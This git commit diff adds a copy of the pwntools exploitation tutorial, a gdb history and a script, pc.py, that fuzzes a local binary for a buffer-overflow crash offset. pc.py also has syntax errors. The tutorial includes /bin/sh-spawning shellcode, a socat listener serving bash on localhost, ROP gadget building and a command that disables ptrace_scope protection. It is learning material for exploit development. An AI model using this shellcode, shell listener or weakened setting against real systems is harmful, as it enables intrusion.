This commit is contained in:
kod 2020-08-07 21:19:09 -07:00
parent 752cf24624
commit 297b080638
38 changed files with 2429 additions and 0 deletions

View File

@ -1 +1,5 @@
run < 50
core core
core core
core core
core core

BIN
.pc.py.swp Normal file

Binary file not shown.

BIN
core

Binary file not shown.

View File

@ -20,3 +20,61 @@ r < echo "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga"
r <(echo "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga")
dashboard
refresh
cyclic -n 8
cyclic -n 8 50
r <(echo 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga')
file parse
r <(echo 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga')
cyclic -n 8 -l 0x0000555555555751
cyclic -n 8 -l 0x7fffffffc730
r2
pwndbg
ctx-ghidra
ctx-ghidra
cyclic -n 8
cyclic -n 8 50
cyclic -n 8 500
file parse
r
ood
d
file parse
r < /tmp/a
file parse
r < /tmp/a
file parse
run < /tmp/a
file parse
run < /tmp/a
load parse
file parse
r < ../../50
r2
r < 50
pwndbg
vi
vim
up
top
pwndbg
rop
pwndbg
vmmap
file parse
cyclic | r
?
help
alias
help
pwndbg
xinfo
ctx
r < 50
ctx
ctx
pwndbg
vmmap
ctx
dashboard
ct
ctx

Binary file not shown.

BIN
parse Executable file

Binary file not shown.

46
pc.py Normal file
View File

@ -0,0 +1,46 @@
from pwn import *
context(arch = 'amd64', os = 'linux')
# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(5)
# Run the process once so that it crashes
p = process(['./parse'])
p.sendline(payload)
# Get the core dump
core = Coredump('./core')
# Our cyclic pattern should have been used as the crashing address
print(type(pack(core.rip)))
print(type(payload))
#assert pack(core.rip) in payload
for i in range(50, 350):
p = process(['./parse'])
p.sendline("A" * i)
received = p.recvline() # output from program
try
received += p.recvline() # Segmentation fault if crash else empty
if 'Segmentation' in str(received):
# For some reason when sent through pwntools the buffer to crash was 1 length longer than
# it should have been?
print('Crash at %d characters' % (i - 1))
print('Crash at value will be %s' % hex(i - 1))
break
except
pass
# Cool! Now let's just replace that value with the address of 'win'
#crash = ELF('./mini-ntpclient')
#payload = fit({
# cyclic_find(core.rip): crash.symbols.win
#})
# Get a shell!
#io = process(['./mini-ntpclient' , payload])
#io.sendline(b'id')
#print(io.recvline())
# uid=1000(user) gid=1000(user) groups=1000(user)

59
pwntools-tutorial/.gitignore vendored Normal file
View File

@ -0,0 +1,59 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
# C extensions
*.so
# Distribution / packaging
.Python
env/
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
*.egg-info/
.installed.cfg
*.egg
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*,cover
# Translations
*.mo
*.pot
# Django stuff:
*.log
# Sphinx documentation
docs/_build/
# PyBuilder
target/
.gdb_history

22
pwntools-tutorial/LICENSE Normal file
View File

@ -0,0 +1,22 @@
The MIT License (MIT)
Copyright (c) 2015 Pwntools
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -0,0 +1,62 @@
# Pwntools Tutorials
This repository contains some basic tutorials for getting started with pwntools (and pwntools).
These tutorials do not make any effort to explain reverse engineering or exploitation primitives, but assume this knowledge.
# Introduction
[`Pwntools`](https://pwntools.com) is a grab-bag of tools to make exploitation during CTFs as painless as possible, and to make exploits as easy to read as possible.
There are bits of code everyone has written a million times, and everyone has their own way of doing it. Pwntools aims to provide all of these in a semi-standard way, so that you can stop copy-pasting the same `struct.unpack('>I', x)` code around and instead use more slightly more legible wrappers like `pack` or `p32` or even `p64(..., endian='big', sign=True)`.
Aside from convenience wrappers around mundane functionality, it also provides a very rich set of `tubes` which wrap all of the IO that you'll ever perform in a single, unifying interface. Switching from a local exploit to a remote exploit, or local exploit over SSH becomes a one-line change.
Last but not least, it also includes a wide array of exploitation assistance tools for intermediate-to-advanced use cases. These include remote symbol resolution given a memory disclosure primitive (`MemLeak` and `DynELF`), ELF parsing and patching (`ELF`), and ROP gadget discovery and call-chain building (`ROP`).
# Table of Contents
- [Installing Pwntools](installing.md)
- [Tubes](tubes.md)
+ Basic Tubes
+ Interactive Shells
+ Processes
+ Networking
+ Secure Shell
+ Serial Ports
- [Utility](utility.md)
+ Encoding and Hashing
+ Packing / unpacking integers
+ Pattern generation
+ Safe evaluation
- [Context](context.md)
+ Architecture
+ Endianness
+ Log verbosity
+ Timeout
- [ELFs](elf.md)
+ Reading and writing
+ Patching
+ Symbols
- [Assembly](assembly.md)
+ Assembling shellcode
+ Disassembling bytes
+ Shellcraft library
+ Constants
- [Debugging](debugging.md)
+ Debugging local processes
+ Breaking at the entry point
+ Debugging shellcode
- [ROP](rop.md)
+ Dumping gadgets
+ Searching for gadgets
+ ROP stack generation
+ Helper functions
- [Logging](logging.md)
+ Basic logging
+ Log verbosity
+ Progress spinners
- [Leaking Remote Memory](leaking.md)
+ Declaring a leak function
+ Leaking arbitrary memory
+ Remote symbol resolution

View File

@ -0,0 +1,175 @@
Table of Contents
=================
* [Assembly](#assembly)
* [Basic Assembly](#basic-assembly)
* [Canned assembly (shellcraft)](#canned-assembly-shellcraft)
* [Command-line Tools](#command-line-tools)
* [asm ](#asm)
* [disasm ](#disasm)
* [shellcraft ](#shellcraft)
* [Foreign Architectures](#foreign-architectures)
* [Canned Assembly](#canned-assembly)
* [Command-line Tools](#command-line-tools-1)
# Assembly
Pwntools makes it very easy to perform assembly in almost any architecture, and comes with a wide variety of canned-but-customizable shellcode ready to go out-of-the-box.
In the [`walkthrough`](walkthrough) directory, there are several longer shellcode tutorials. This page gives you the basics.
## Basic Assembly
The most basic example, is to convert assembly into shellcode.
```py
from pwn import *
print repr(asm('xor edi, edi'))
# '1\xff'
print enhex(asm('xor edi, edi'))
# 31ff
```
## Canned assembly (`shellcraft`)
The `shellcraft` module gives you pre-canned assembly. It is generally customizable. The easiest way to find out which `shellcraft` templates exist is to look at the [documentation on RTD](https://pwntools.readthedocs.org/en/latest/shellcraft.html).
```py
from pwn import *
help(shellcraft.sh)
print '---'
print shellcraft.sh()
print '---'
print enhex(asm(shellcraft.sh()))
```
```
Help on function sh in module pwnlib.shellcraft.internal:
sh()
Execute /bin/sh
---
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
/* call execve('esp', 0, 0) */
push (SYS_execve) /* 0xb */
pop eax
mov ebx, esp
xor ecx, ecx
cdq /* edx=0 */
int 0x80
---
6a68682f2f2f73682f62696e6a0b5889e331c999cd80
```
## Command-line Tools
There are three command-line tools for interacting with assembly:
- `asm`
- `disasm`
- `shellcraft`
### `asm`
The asm tool does what it says on the tin. It provides several options for formatting the output. When the output is a terminal, it defaults to hex-encoded.
```
$ asm nop
90
```
When the output is anything else, it writes the raw data.
```
$ asm nop | xxd
0000000: 90 .
```
It also takes data on stdin if no instructions are provided on the command line.
```
$ echo 'push ebx; pop edi' | asm
535f
```
Finally, it supports a few different options for specifying the output format, via the `--format` option. Supported arguments are `raw`, `hex`, `string`, and `elf`.
```
$ asm --format=elf 'int3' > ./int3
$ ./halt
Trace/breakpoint trap (core dumped)
```
### `disasm`
Disasm is the opposite of `asm`.
```
$ disasm cd80
0: cd 80 int 0x80
$ asm nop | disasm
0: 90 nop
```
### `shellcraft`
The `shellcraft` command is the command-line interface to the internal `shellcraft` module. On the command-line, the full context must be specified, in the order of `arch.os.template`.
```
$ shellcraft i386.linux.sh
6a68682f2f2f73682f62696e6a0b5889e331c999cd80
```
## Foreign Architectures
Assembling for a foreign architecture requires that you have an appropriate version of `binutils` installed. You should see [installing.md](installing.md) for more information on this. The only change that is necessary is to set the architecture in the global context variable. You can see more information about `context` in [context.md](context.md).
```py
from pwn import *
context.arch = 'arm'
print repr(asm('mov r0, r1'))
# '\x01\x00\xa0\xe1'
print enhex(asm('mov r0, r1'))
# 0100a0e1
```
### Canned Assembly
The `shellcraft` module automatically switches to the appropriate architecture.
```py
from pwn import *
context.arch = 'arm'
print shellcraft.sh()
print enhex(asm(shellcraft.sh()))
```
```
adr r0, bin_sh
mov r2, #0
mov r1, r2
svc SYS_execve
bin_sh: .asciz "/bin/sh"
08008fe20020a0e30210a0e10b0000ef2f62696e2f736800
```
### Command-line Tools
You can also use the command line to assemble foreign-arch shellcode, by using the `--context` command-line option.
```
$ asm --context=arm 'mov r0, r1'
0100a0e1
$ shellcraft arm.linux.sh
08008fe20020a0e30210a0e10b0000ef2f62696e2f736800
```

View File

@ -0,0 +1,72 @@
Table of Contents
=================
* [Context](#context)
* [Context Settings](#context-settings)
* [arch](#arch)
* [bits](#bits)
* [binary](#binary)
* [endian](#endian)
* [log_file](#log_file)
* [log_level](#log_level)
* [sign](#sign)
* [terminal](#terminal)
* [timeout](#timeout)
* [update](#update)
# Context
The `context` object is a global, thread-aware object which contains various settins used by `pwntools`.
Generally at the top of an exploit, you'll find something like:
```py
from pwn import *
context.arch = 'amd64'
```
Which informs pwntools that shellcode generated will be for `amd64`, and that the default word size is 64 bits
## Context Settings
### arch
The target architecture. Valid values are `"aarch64"`, `"arm"`, `"i386"`, `"amd64"`, etc. The default is `"i386"`.
The first time this is set, it automatically sets the default `context.bits` and `context.endian` to the most likely values.
### bits
How many bits make up a word in the target binary, e.g. 32 or 64.
### binary
Absorb settings from an ELF file. For example, `context.binary='/bin/sh'`.
### endian
Set to `"big"` or `"little"` (the default) as needed.
### log_file
File to send all of the logging output into.
### log_level
Verbosity of logs. Valid values are integers (lower is more verbose), and string values like `"debug"`, `"info"`, and `"error"`.
### sign
Sets the default signed-ness of integer packing / unpacking. Default is `"unsigned"`.
### terminal
Preferred terminal program to open new windows with. By default, uses `x-terminal-emulator` or `tmux`.
### timeout
Default timeout for tube operations.
### update
Sets multiple values at once, e.g. `context.update(arch='mips', bits=64, endian='big')`.

View File

@ -0,0 +1,282 @@
Table of Contents
=================
* [Prerequisites](#prerequisites)
* [Launching a Process Under GDB](#launching-a-process-under-gdb)
* [Attaching to a Running Process](#attaching-to-a-running-process)
* [Local Processes](#local-processes)
* [Forking Servers](#forking-servers)
* [Debugging Foreign Architectures](#debugging-foreign-architectures)
* [Troubleshooting](#troubleshooting)
* [Behind the Scenes](#behind-the-scenes)
* [Specifying a Terminal Window](#specifying-a-terminal-window)
* [Environment Variables](#environment-variables)
* [Unable to Attach to Processes](#unable-to-attach-to-processes)
* [argv0 and argc==0](#argv0-and-argc==0)
Pwntools has rich support for using a debugger in your exploit workflow, and debuggers
are very useful when developing exploits when issues with exploits arise.
In addition to the resources here for debugging, you may want to enhance your GDB
experience with one of the following projects:
* [Pwndbg](https://pwndbg.re)
* [GDB Enhanced Features (GEF)](https://github.com/hugsy/gef)
# Prerequisites
You should have both `gdb` and `gdbserver` installed on your machine.
You can check this easily with `which gdb` or `which gdbserver`.
If you find that you don't have them installed, they can easily be installed from
most package managers.
```sh
$ sudo apt-get install gdb gdbserver
```
# Launching a Process Under GDB
Launching a process under GDB while still being able to interact with that process
from pwntools is a tricky process, but luckily it's all been sorted out and the
process is pretty seamless.
To launch a process under GDB from the very first instruction, just use
[gdb.debug](https://docs.pwntools.com/en/stable/gdb.html#pwnlib.gdb.debug).
```py
>>> io = gdb.debug("/bin/bash", gdbscript='continue')
>>> io.sendline('echo hello')
>>> io.recvline()
# b'hello\n'
>>> io.interactive()
```
This should automatically launch the debugger in a new window for you to interact
with. If it does not, or you see an error about `context.terminal`, check out the
section on [Specifying a Terminal Window](#specifying-a-terminal-window).
In this example, we passed in `gdbscript='continue'` in order for the debugger
to resume execution, but you can pass in any valid GDB script commands and they
will be executed when the debugged process starts.
# Attaching to a Running Process
Sometimes you don't want to start your target under a debugger, but want to attach
to it at a certain stage in the exploitation process.
This is also handled seamlessly by Pwntools.
## Local Processes
Generally, you will have created a `process()` tube in order to interact with the
target executable. You can simply pass that to `gdb.attach()` and it will magically
open a new terminal window with the target binary under the debugger.
```py
>>> io = process('/bin/sh')
>>> gdb.attach(io, gdbscript='continue')
```
A new window should appear, and you can continue to interact with the process
as you normally would from Pwntools.
## Forking Servers
Sometimes the binary you want to debug has a forking server, and you want to
debug the process you are connected to (rather than the server itself). This
is also done seamlessly, as long as the server is running on the current machine.
Let's fake a server with socat!
```py
>>> socat = process(['socat', 'TCP-LISTEN:4141,reuseaddr,fork', 'EXEC:/bin/bash -i'])
```
Then we connect to the remote process with a `remote` tube as usual.
```py
>>> io = remote('localhost', 4141)
[x] Opening connection to localhost on port 4141
[x] Opening connection to localhost on port 4141: Trying 127.0.0.1
[+] Opening connection to localhost on port 4141: Done
>>> io.sendline('echo hello')
>>> io.recvline()
b'hello\n'
>>> io.lport, io.rport
```
It works! In order to debug the specific `bash` process our `remote` object, just
pass it to `gdb.attach()`. Pwntools will look up the PID of the remote end of the
connection and attempt to connect to it automatically.
```py
>>> gdb.attach(io)
```
A debugger should appear automatically, and you can interact with the process.
<!-- TODO: This is currently broken, see https://github.com/Gallopsled/pwntools/issues/1589 -->
# Debugging Foreign Architectures
Debugging foreign architectures (like ARM or PowerPC) from an Intel-based system is
as easy as running them under pwntools.
```py
>>> context.arch = 'arm'
>>> elf = ELF.from_assembly(shellcraft.echo("Hello, world!\n") + shellcraft.exit())
>>> process(elf.path).recvall()
b'Hello, world!\n'
```
Instead of invoking `process(...)` just use `gdb.debug(...)`.
```py
>>> gdb.debug(elf.path).recvall()
b'Hello, world!\n'
```
## Tips and Limitations
Processes running foreign architectures MUST be started with `gdb.debug` in order
to debug them, it is not possible to attach to a running process due to the way
that QEMU works.
It should be noted that QEMU has a very limited GDB stub, which is used to
inform GDB where various libraries are, so debugging may be more difficult,
and some commands will not work.
Pwntools recommends Pwndbg to handle this situation, since it has code specifically
to handle debugging under a QEMU stub.
<!-- TODO: There is no tutorial for interacting with cross-arch binaries -->
# Troubleshooting
## Behind the Scenes
Sometimes things just don't work, and you need to see what is happening internal
to Pwntools with the debugger setup.
You can set the logging context globally (via e.g. `context.log_level='debug'`)
or you can set it ONLY for the GDB session, via passing in the same argument.
You should see everything that's being handled for you behind the scenes.
For example:
```py
>>> io = gdb.debug('/bin/sh', log_level='debug')
[x] Starting local process '/home/user/bin/gdbserver' argv=[b'/home/user/bin/gdbserver', b'--multi', b'--no-disable-randomization', b'localhost:0', b'/bin/sh']
[+] Starting local process '/home/user/bin/gdbserver' argv=[b'/home/user/bin/gdbserver', b'--multi', b'--no-disable-randomization', b'localhost:0', b'/bin/sh'] : pid 34282
[DEBUG] Received 0x25 bytes:
b'Process /bin/sh created; pid = 34286\n'
[DEBUG] Received 0x18 bytes:
b'Listening on port 45145\n'
[DEBUG] Wrote gdb script to '/tmp/user/pwnxcd1zbyx.gdb'
target remote 127.0.0.1:45145
[*] running in new terminal: /usr/bin/gdb -q "/bin/sh" -x /tmp/user/pwnxcd1zbyx.gdb
[DEBUG] Launching a new terminal: ['/usr/local/bin/tmux', 'splitw', '/usr/bin/gdb -q "/bin/sh" -x /tmp/user/pwnxcd1zbyx.gdb']
[DEBUG] Received 0x25 bytes:
b'Remote debugging from host 127.0.0.1\n'
```
## Specifying a Terminal Window
Pwntools [attempts to launch a new window][run_in_new_terminal] to container your
debugger based on whatever windowing system you are currently using.
By default, it auto-detects:
* tmux or screen
* X11-based terminals like GNOME Terminal
If you are not using a supported terminal environment, or it does not work in the
way you want (e.g. horizontal vs vertical splits) you can add support by setting
the `context.terminal` environment variable.
For example, the following will use TMUX to split horizontally instead of the default.
```py
>>> context.terminal = ['tmux', 'splitw', '-h']
```
Maybe you're a GNOME Terminal user and the default settings aren't working?
```py
>>> context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
```
You can specify any terminal you like, and can even put the setting inside
`~/.pwn.conf` so that it's used for all of you scripts!
```
[context]
terminal=['x-terminal-emulator', '-e']
```
## Environment Variables
Pwntools allows you to specify any environment variables you like via `process()`,
and the same is true for `gdb.debug()`.
```py
>>> io = gdb.debug(['bash', '-c', 'echo $HELLO'], env={'HELLO': 'WORLD'})
>>> io.recvline()
b'WORLD\n'
```
### `CWD` and ` `
Unfortunately, when using `gdb.debug()`, the process is launched under `gdbserver`
which adds its own environment variables. This may introduce complications when
the environment must be very carefully controlled.
```py
>>> io = gdb.debug(['env'], env={'FOO':'BAR'}, gdbscript='continue')
>>> print(io.recvallS())
=/home/user/bin/gdbserver
FOO=BAR
Child exited with status 0
GDBserver exiting
```
This only occurs when you launch the process under a debugger with `gdb.debug()`.
If you're able to start your process and *then* attach with `gdb.attach()`, you
can avoid this issue.
### Environment Variable Ordering
Some exploits may require that certain environment variables are in a specific
order. Python2 dictionaries are not ordered, which may exacerbate this issue.
In order to have your environment variables in a specific order, we recommend
using Python3 (which orders dictionaries based on insertion order), or using
`collections.OrderedDict`.
## Unable to Attach to Processes
Modern Linux systems have a setting called `ptrace_scope` which prevents processes
that are not child processes from being debugged. Pwntools works around this
for any processes that it launches itself, but if you have to launch a process
outside of Pwntools and try to attach to it by pid (e.g. `gdb.attach(1234)`),
you may be prevented from attaching.
You can resolve this by disabling the security setting and rebooting your machine:
```sh
sudo tee /etc/sysctl.d/10-ptrace.conf <<EOF
kernel.yama.ptrace_scope = 0
EOF
```
## argv0 and argc==0
Some challenges require that they are launched with `argv[0]` set to a specific
value, or even that it's NULL (i.e. `argc==0`).
It is not possible to launch a processs with this configuration via `gdb.debug()`,
but you can use `gdb.attach()`. This is because of limitations of launching
binaries under gdbserver.

217
pwntools-tutorial/elf.md Normal file
View File

@ -0,0 +1,217 @@
Table of Contents
=================
* [ELFs](#elfs)
* [Loading ELF files](#loading-elf-files)
* [Using Symbols](#using-symbols)
* [Changing the Base Address](#changing-the-base-address)
* [Reading ELF Files](#reading-elf-files)
* [Patching ELF Files](#patching-elf-files)
* [Searching ELF Files](#searching-elf-files)
* [Building ELF Files](#building-elf-files)
* [Running and Debugging ELF Files](#running-and-debugging-elf-files)
# ELFs
Pwntools makes interacting with ELF files relatively straightforward, via the `ELF` class. You can find the full documentation on [RTD](https://pwntools.readthedocs.org/en/latest/elf.html).
## Loading ELF files
ELF files are loaded by path. Upon being loaded, some security-relevant attributes about the file are printed.
```py
from pwn import *
e = ELF('/bin/bash')
# [*] '/bin/bash'
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE
# FORTIFY: Enabled
```
## Using Symbols
ELF files have a few different sets of symbols available, each contained in a dictionary of `{name: data}`.
- `ELF.symbols` lists all known symbols, including those below. Preference is given the PLT entries over GOT entries.
- `ELF.got` only contains GOT entries
- `ELF.plt` only contains PLT entries
- `ELF.functions` only contains functions (requires DWARF symbols)
This is very useful in keeping exploits robust, by removing the need to hard-code addresses.
```py
from pwn import *
e = ELF('/bin/bash')
print "%#x -> license" % e.symbols['bash_license']
print "%#x -> execve" % e.symbols['execve']
print "%#x -> got.execve" % e.got['execve']
print "%#x -> plt.execve" % e.plt['execve']
print "%#x -> list_all_jobs" % e.functions['list_all_jobs'].address
```
This would print something like the following:
```
0x4ba738 -> license
0x41db60 -> execve
0x6f0318 -> got.execve
0x41db60 -> plt.execve
0x446420 -> list_all_jobs
```
## Changing the Base Address
Changing the base address of the ELF file (e.g. to adjust for ASLR) is very straightforward. Let's change the base address of `bash`, and see all of the symbols change.
```py
from pwn import *
e = ELF('/bin/bash')
print "%#x -> base address" % e.address
print "%#x -> entry point" % e.entry
print "%#x -> execve" % e.symbols['execve']
print "---"
e.address = 0x12340000
print "%#x -> base address" % e.address
print "%#x -> entry point" % e.entry
print "%#x -> execve" % e.symbols['execve']
```
This should print something like:
```
0x400000 -> base address
0x42020b -> entry point
0x41db60 -> execve
---
0x12340000 -> base address
0x1236020b -> entry point
0x1235db60 -> execve
```
## Reading ELF Files
We can directly interact with the ELF as if it were loaded into memory, using `read`, `write`, and functions named identically to that in the `packing` module. Additionally, you can see the disassembly via the `disasm` method.
```py
from pwn import *
e = ELF('/bin/bash')
print repr(e.read(e.address, 4))
p_license = e.symbols['bash_license']
license = e.unpack(p_license)
print "%#x -> %#x" % (p_license, license)
print e.read(license, 14)
print e.disasm(e.symbols['main'], 12)
```
This prints something like:
```
'\x7fELF'
0x4ba738 -> 0x4ba640
License GPLv3+
41eab0: 41 57 push r15
41eab2: 41 56 push r14
41eab4: 41 55 push r13
```
## Patching ELF Files
Patching ELF files is just as simple.
```py
from pwn import *
e = ELF('/bin/bash')
# Cause a debug break on the 'exit' command
e.asm(e.symbols['exit_builtin'], 'int3')
# Disable chdir and just print it out instead
e.pack(e.got['chdir'], e.plt['puts'])
# Change the license
p_license = e.symbols['bash_license']
license = e.unpack(p_license)
e.write(license, 'Hello, world!\n\x00')
e.save('./bash-modified')
```
We can then run our modified version of bash.
```
$ chmod +x ./bash-modified
$ ./bash-modified -c 'exit'
Trace/breakpoint trap (core dumped)
$ ./bash-modified --version | grep "Hello"
Hello, world!
$ ./bash-modified -c 'cd "No chdir for you!"'
/home/user/No chdir for you!
No chdir for you!
./bash-modified: line 0: cd: No chdir for you!: No such file or directory
```
## Searching ELF Files
Every once in a while, you just need to find some byte sequence. The most common example is searching for e.g. `"/bin/sh\x00"` for an `execve` call.
The `search` method returns an iterator, allowing you to either take the first result, or keep searching if you need something special (e.g. no bad characters in the address). You can optionally pass a `writable` argument to `search`, indicating it should only return addresses in writable segments.
```py
from pwn import *
e = ELF('/bin/bash')
for address in e.search('/bin/sh\x00'):
print hex(address)
```
The above example prints something like:
```
0x420b82
0x420c5e
```
## Building ELF Files
ELF files can be created from scratch relatively easy. All of these functions are context-aware. The relevant functions are `from_bytes` and `from_assembly`. Each returns an `ELF` object, which can easily be saved to file.
```
from pwn import *
ELF.from_bytes('\xcc').save('int3-1')
ELF.from_assembly('int3').save('int3-2')
ELF.from_assembly('nop', arch='powerpc').save('powerpc-nop')
```
## Running and Debugging ELF Files
If you have an `ELF` object, you can run or debug it directly. The following are equivalent:
```py
>>> io = elf.process()
# vs
>>> io = process(elf.path)
```
Similarly, you can launch a debugger trivially attached to your ELF. This is super useful when testing shellcode, without the need for a C wrapper to load and debug it.
```py
>>> io = elf.debug()
# vs
>>> io = gdb.debug(elf.path)
```

View File

@ -0,0 +1,41 @@
Table of Contents
=================
* [Installing Pwntools](#installing-pwntools)
* [Verifying Installation](#verifying-installation)
* [Foreign Architectures](#foreign-architectures)
# Installing Pwntools
This process is as straightforward as it can be. Ubuntu 14.04 and 12.04 are the only "officially supported" platforms, in that they're the only platforms we do automated testing on.
```sh
apt-get update
apt-get install python2.7 python-pip python-dev git
pip install --upgrade git+https://github.com/Gallopsled/pwntools.git
```
Everything else, you're on your own.
## Verifying Installation
Everything should be A-OK if the following command succeeds:
```sh
$ python -c 'from pwn import *'
```
## Foreign Architectures
If you want to assemble or disassemble code for foreign architectures, you need an appropriate `binutils` installation. For Ubuntu and Mac OS X users, the [installation instructions][binutils] are very straightforward. The pre-built binaries are available from Ubuntu Launchpad. These are built by Ubuntu, on their servers, using the original unmodified source package -- no need to trust maintainers!
For example, to install `binutils` for MIPS:
```sh
$ apt-get install software-properties-common
$ apt-add-repository ppa:pwntools/binutils
$ apt-get update
$ apt-get install binutils-mips-linux-gnu
```
[binutils]: https://pwntools.readthedocs.org/en/latest/install/binutils.html

View File

@ -0,0 +1,135 @@
Table of Contents
=================
* [Logging](#logging)
* [Functions](#functions)
* [Command Line](#command-line)
* [Context](#context)
* [Tubes](#tubes)
* [Scoped](#scoped)
# Logging
Pwntools has a rich internal debugging system, available for your own debugging
as well as figuring out what's happening behind-the-scenes in Pwntools
## Functions
The logging functionality is exposed when you import `from pwn import *`.
This exposes these routines:
* `error`
* `warn`
* `info`
* `debug`
For example:
```py
>>> warn('Warning!')
[!] Warning!
>>> info('Info!')
[*] Info!
>>> debug('Debug!')
```
Note that the last line is not shown by default, since the default log-level
is "info".
You can use these in your exploit scripts instead of `print` which lets
you dial in the exact amount of debugging information you see.
You can control which log messages are visible in a variety of ways,
all which are explained below.
## Command Line
The easiest way to turn on the maximum amount of logging verbosity is to
run your script with the magic argument `DEBUG`, e.g.
```
$ python exploit.py DEBUG
```
This is useful for seeing the exact bytes being sent / received, and things
that are happening internal to pwntools to make your exploit work.
## Context
You can also set the logging verbosity via `context.log_level`, in the same way
that you set e.g. the target architecture.
This controls all logging statements in the same way as on the command-line.
```py
>>> context.log_level = 'debug'
```
### `log_console`
By default, all logs go to STDOUT. If you want to change this to a different file,
e.g. STDERR, you can do this with the `log_console` setting.
```py
>>> context.log_console = sys.stderr
```
### `log_file`
Sometimes you want your logs to go to a specific file, e.g. `log.txt`, to look at later.
You can add a log file by setting `context.log_file`.
```py
>>> context.log_file = './log.txt'
```
## Tubes
Each tube can have its logging verbosity controlled individually, when it is created.
Simply pass `level='...'` to the construction of the object.
```py
>>> io = process('sh', level='debug')
[x] Starting local process '/usr/bin/sh' argv=[b'sh']
[+] Starting local process '/usr/bin/sh' argv=[b'sh'] : pid 34475
>>> io.sendline('echo hello')
[DEBUG] Sent 0xb bytes:
b'echo hello\n'
>>> io.recvline()
[DEBUG] Received 0x6 bytes:
b'hello\n'
b'hello\n'
```
This works for all of the tubes (`process`, `remote`, etc), and also works for
tube-like things (e.g. `gdb.attach` and `gdb.debug`) as well as many other
routines.
For example, if you want to see *exactly* how some shellcode is assembled:
```py
>>> asm('nop', log_level='debug')
[DEBUG] cpp -C -nostdinc -undef -P -I/home/user/pwntools/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
nop
[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/user/pwn-asm-0yy12n6i/step2 /tmp/user/pwn-asm-0yy12n6i/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/user/pwn-asm-0yy12n6i/step3 /tmp/user/pwn-asm-0yy12n6i/step4
b'\x90'
```
## Scoped
Sometimes you want ALL the logs to be enabled, but only for part of an exploit script.
You can manually toggle `context.log_level`, or you can use a scoped helper.
```py
io = process(...)
with context.local(log_level='debug'):
# Things inside the 'with' block are logged verbosely
io.recvall()
```

246
pwntools-tutorial/rop.md Normal file
View File

@ -0,0 +1,246 @@
Table of Contents
=================
* [Background](#background)
* [Loading an ELF](#loading-an-elf)
* [Fixing Addresses](#fixing-addresses)
* [Inspecting Gadgets](#inspecting-gadgets)
* [Viewing All Gadgets](#viewing-all-gadgets)
* [Really viewing *ALL* Gadgets](#really-viewing-all-gadgets)
* [Adding Raw Data](#adding-raw-data)
* [Dumping ROP stacks](#dumping-rop-stacks)
* [Extracting Raw Bytes](#extracting-raw-bytes)
* [Calling Functions Magically](#calling-functions-manually)
* [Calling Functions by Name](#calling-functions-by-name)
* [Multiple ELFs](#multiple-elfs)
* [Getting a shell](#getting-a-shell)
# Background
Return-oriented programming (ROP) is a technique for bypassing NX (no-execute, also known as Data Execution Prevention (DEP)).
Pwntools has several features that make ROP exploitation simpler, but only works on i386 and amd64 architectures.
# Loading an ELF
To create a `ROP` object, just pass it an `ELF` file.
```py
elf = ELF('/bin/sh')
rop = ROP(elf)
```
This will automatically load the binary, and extract most simple gadgets from it. For example, if you want to load the `rbx` register:
```
rop.rbx
# Gadget(0x5fd5, ['pop rbx', 'ret'], ['rbx'], 0x8)
```
## Fixing Addresses
Here we can see the address of the gadget, the contents of its disassembly, what register it loads, and by how much the stack is adjusted when the gadget is executed.
Since in our example, `/bin/sh` is position-independent (i.e. uses ASLR), we can adjust the load address on the ELF object first.
```
elf.address = 0xff000000
rop = ROP(elf)
rop.rbx
# Gadget(0xff005fd5, ['pop rbx', 'ret'], ['rbx'], 0x8)
```
# Inspecting Gadgets
You can ask the ROP object how to load any register you want, through magic accessors. We used `rbx` above, but we can also look for other registers.
```
rop.rbx
# Gadget(0xff005fd5, ['pop rbx', 'ret'], ['rbx'], 0x8)
```
If the register cannot be loaded, the return value is `None`. In our example, there are no `pop rcx; ret` gadgets for example.
```
rop.rcx
# None
```
## Viewing All Gadgets
Pwntools intentionally excludes most non-trivial gadgets, but you can see a list of what it has loaded by looking at the `ROP.gadgets` property, which maps the address of a gadget to the gadget itself.
```
rop.gadgets
# {4278225723: Gadget(0xff008b3b, ['add esp, 0x10', 'pop rbx', 'pop rbp', 'pop r12', 'ret'], ['rbx', 'rbp', 'r12'], 0x20),
